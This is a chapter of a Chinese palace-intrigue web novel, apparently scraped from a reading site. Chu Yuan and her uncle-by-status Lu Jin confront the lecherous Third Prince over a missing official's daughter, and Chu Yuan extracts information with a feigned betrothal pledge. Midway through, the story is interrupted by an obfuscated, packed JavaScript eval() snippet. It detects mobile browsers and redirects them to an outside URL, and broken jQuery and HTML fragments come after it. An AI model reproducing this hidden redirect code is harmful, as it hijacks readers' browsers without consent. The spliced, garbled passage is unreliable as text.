三皇子的府门。
颂王府。
这个字号的王爷,应当,不太受宠。
因为前朝出过一位王爷,叫颂王,是被羞辱才封的号,虽然已经是几百年前的事情,可这件事一直是坊间笑谈,从此以后,这个字就再也没出现在帝王赐封的字号中。
陛下,到底有多讨厌这个儿子。
许是今夜太过匆忙,许是陆瑾对自己很有自信,总之,他忘记了一件要紧的事,他自己刚刚说过的事。
三皇子喜爱绝色之人,而他此时,正把一个绝色之人往他府门前送。
这夜深人静的,当这位颂王听到门口有一位绝色美人要见他的时候,压根没听到后面还有礼部侍郎几个字。
颂王特意选在了暖房接见。
楚鸢和陆瑾刚进去,就被一阵花香袭击。
所谓暖房,是一个名叫一阁洞天的巨大花房,房中温暖如春,四周摆了许多不是这个季节该有的名贵牡丹,整个暖房异常雅致,与面前这位少年王爷的称号可谓是大相径庭。
刚才来的路上,陆瑾介绍了一下,这位王爷,有个外号,陆瑾支支吾吾半天都不愿意说,最后还是马车夫说的。
混世小淫·虫。
楚鸢:呵……
此刻,这位混世……小……什么虫的人,正着了一身雅致的白衫,站在牡丹花丛中等着楚鸢过来。
楚鸢脑中全然只有一个字。
小。
呵……
刚踏进暖房,立刻有貌美的婢女来解下楚鸢的斗篷,今日还未来得及更换的那一身大红色的锦服,再配上她今日华贵的头饰,不知道的,还以为她今日来成亲呢。
三皇子看直了眼,随手打开手中折扇,文绉绉道:“云想衣裳花想容!”
楚鸢忍着那一丝嫌弃上前,她本就喜怒不形于色,落在三皇子眼中,就是一个绝美女娘向他翩翩而来,他唇角不自觉溢出一个笑容,尚是少年的脸与眼中老成的淫邪形成鲜明对比,很难想象这样两种情况会同时出现在一个人脸上。
瞧着这满房名贵的牡丹,再看他这些荒唐行径,陛下到底是嫌恶他,还是心疼他。
陆瑾依着规矩上前行礼参拜,打断了三殿下直愣愣的眼神:“参见三殿下!”
对了,这位三殿下不喜欢别人叫他颂王。
楚鸢是公主,他是皇子,相互拜见便罢了,两人都默契的直着身子看对方,只不过楚鸢的眼神是温和的,三殿下的眼神是热辣辣的。
“陆侍郎啊,起来吧!”
楚鸢没多说废话,单刀直入:“殿下,崔郎中家的姑娘,崔暮云,可在您府中?”
三皇子一下子没反应过来,这么晚过来,不是陪他喝酒,是来找人的?他刚想拒绝,又觉得拒绝了多半这个美人就得跑,于是,他似乎回忆了好一会,然后拿扇子遮住下半张脸问一旁的婢女:“崔什么?”
身旁的侍女神色冷淡,一副深夜还要上工的活人微死感,微不耐烦的回道:“回殿下,崔暮云。”
“在不在府中?”
“回殿下,崔家娘子的画像,您看了后没中意,就没拐回来。”
“哦!”
三皇子转头信誓旦旦的看着楚鸢:“在本殿下府中,陆三娘子,请就坐!”
三皇子侧身做请。
好家伙,他身后还备了一桌酒席。
这速度,真够快的。
“今日没见三娘子来找本殿下赏花,本殿下都没兴致了,早早便回来了。”
楚鸢没有移动,仍旧执着的问道“殿下,崔娘子呢?”
“三娘子老提他人做什么,这花前雪下,你我独酌,岂不是一大雅事。”
陆瑾再次打断三殿下:“殿下,请问崔大人家女儿当真在您府中?”
三皇子不耐烦的看向陆瑾:“嘉晚,嘉意,陪陆侍郎去偏厅品酒。”
立刻有两位貌美的女婢上前,一左一右便要扑到陆瑾身上,楚鸢下意识移了半步挡在陆瑾面前,阻住了两个美婢的去路,眼神迅速左右一扫,不怒自威的神色让两个美婢惧怕得不敢再有下一步动作。
而陆瑾也轻巧的避开了两个美婢伸出的手,义正言辞的开口:“殿下,私藏官员之女,便是皇亲国戚,按律也当受杖刑!”
三皇子似乎恼了:“陆瑾你找死啊!”
陆瑾仍旧躬身行礼,脊背却挺得笔直,声音更是不卑不亢:“还请殿下放还崔娘子。”
楚鸢就那样侧头看着陆瑾,眼神温柔得不像话。
就连三皇子身边的婢女也禁不住盯住了陆瑾,眸中满是敬仰与羞涩之情,这个当口她却突然发现了楚鸢也瞧着陆瑾,于是又盯住楚鸢,眼神来回在两人身上闪烁,在探寻什么快乐之事一般。
真不愧是长安第一君子,姿容仪态和气度,都是男儿中的极品,婢女眼底又划过自家殿下,不自觉闪过一丝鄙夷,移开了视线。
晦气。
楚鸢转头笑看着三皇子:“殿下若答应放还崔娘子,我今夜便与你喝个不醉不归。”
“当真?三娘子,这光喝酒有什么意思……”三皇子的惊喜神色溢于言表。
陆瑾眼神一震:“殿下,三娘乃我陆家嫡女,绝不会任人欺凌,虽只能血溅三步,陆瑾亦会拼尽全力。”
陆瑾已然前移一步阻住了三皇子的视线,将楚鸢悄无声息护在了身后,左手未动,右手却无意识趋向腰间。
那里,配着他的软剑。
三皇子似乎被搅扰了兴致:“陆瑾你烦不烦,那个崔什么的,本殿下压根就不认识,更不在府上,你赶紧滚,别扰了我们兴致。”
楚鸢微探出头:“殿下当真?若是如此,这酒我可就不喝了!”
“别呀三娘子,只是这陆瑾着实烦人,死在本殿下这里,明日还要与父皇解释,但本殿下对你的心是真的。”
楚鸢笑了:“殿下若是真心,那还有两日安南大军便归京献降了,我作为这献降的礼物之一,殿下何不如去求陛下赏赐,让我做这颂王妃。”
三皇子还未满十八,尚未有王妃,算下来,他比楚鸢还小两个月。
三皇子大喜过望:“当真?”
“自然当真!”
“一言为定,三娘子可莫要反悔!”
楚鸢随手摘下头上一支珠钗:“以此为凭!”
三皇子上前一把拿过那珠钗,生怕楚鸢反悔一般藏进了袖中。
陆瑾一时被惊,转头要阻止楚鸢已然来不及。
那头三殿下已经兴奋起来:“姐姐,你等着,等本殿下来娶你!”
称呼都改了。
楚鸢:“殿下,那今夜能否帮我一个小忙?”
“只管说来!”
“今日殿下可曾见过长乐侯世子?”
恩?三殿下不疑有他,直言道:“没看见,今日香雪海宴,这浪荡子居然没现身,奇了怪了。”
足够了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284117|198412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“殿下,那我便告辞了!”
三殿下赶紧拿了酒杯还想拦:“姐姐,这酒都倒了,你喝一口嘛!”
楚鸢伸手接过那杯酒,仰头一饮而尽:“告辞!”
说完头也不回的出了门,陆瑾且震惊且担忧,行礼告退后也与楚鸢并行而出。
论礼仪,他是叔叔,是长辈。
论身份,她是公主,他是臣。
真是……如海的鸿沟。
三皇子的婢女上前拿走了他手中的酒壶和空酒杯,为了每个月的月银逼迫自己开口劝道:“殿下,铜雀阁中的陈美人,还等您呢。”
惆怅的心绪上了三皇子的眉头:“云想衣裳花想容,春风拂槛露华浓!”
他叹息一声:“嘉晚,你说父皇能不能把阿鸢姐姐赐给我?今日我可是想了她整整一天呢。”
“殿下,婢子是嘉舒……殿下定然能如愿娶到陆三娘子的。”
呕……
“可是,姐姐那么美,想娶她的人很多,你不知今日香雪海中,多少个臭男人想把姐姐吞了,那群恶臭的俗物,想起来本殿下就恶心。”
“是,他们谁都比不过殿下,殿下朗朗清风,皎皎君子,大雅之人。”
呕……
月钱着实不好拿,要抛下良心和良知。
“嘉柔,你这话本殿下爱听!”
“殿下,婢子是嘉舒。”
三皇子看着手中空空如也的酒杯,这才急着对空空如也的门口喊道:“姐姐,姐姐,这是千夜醉。”
楚鸢怕是听不到了。
,
崔娘子不在三皇子府中,那最有可能就是在长乐侯府。
楚鸢有些怀疑:“会不会是三皇子说谎?”
毕竟,偌大的王府藏个人,没有十天半个月,根本就找不到,要是三皇子说谎,他们也无从求证,崔暮云对陆府和崔府很重要,可是对于皇亲的儿子来说,暮云就是做妾都是高攀。
哪怕不得宠,天子也要脸面。
他拥有可以随意撒个谎却不用承担后果的资本和权利。
陆瑾却笃定的摇头:“三殿下酷爱绝色,暮云不是他喜好之人,他没必要为暮云撒谎,倒是你……”说到此处,陆瑾神色黯淡了几分,他想起楚鸢刚才与三皇子的约定,他有些看不懂楚鸢了。
“阿鸢,三皇子虽是闲散王爷,但绝非良配,你刚才怎会如此冲动。”
语气里有责怪,更多的是担忧。
楚鸢却笑了:“那叔叔刚才为何又会说出血溅三尺的话?”
“你是陆府女娘,我自当保护你,况且我是朝廷重臣,三皇子就是贵为皇亲,也不敢轻易处置一个礼部侍郎。”
“那我也是一样,我想保护你,想帮你,不想旁人伤害你,羞辱你,一丝也不行。”
突如其来的话语,让陆瑾楞在当场,哪怕是个笨蛋也能听出楚鸢的弦外之音,那不是对长辈关心该说的话,更何况他是陆瑾。
“阿鸢,你这是拿自己的终身大事开玩笑。”
楚鸢的眼神仍旧温柔:“叔叔信不信,三殿下,他没有胆量开这个口。”
陆瑾未有言语,他看着楚鸢等着她说原因。
“他能接受颂王这个封号,怎么可能有勇气提出一个可能让他被骂的请求。”
陆瑾深深叹息了一声。
阿鸢,你不懂人心。
“如今看来,崔娘子,应当就在长乐侯府!”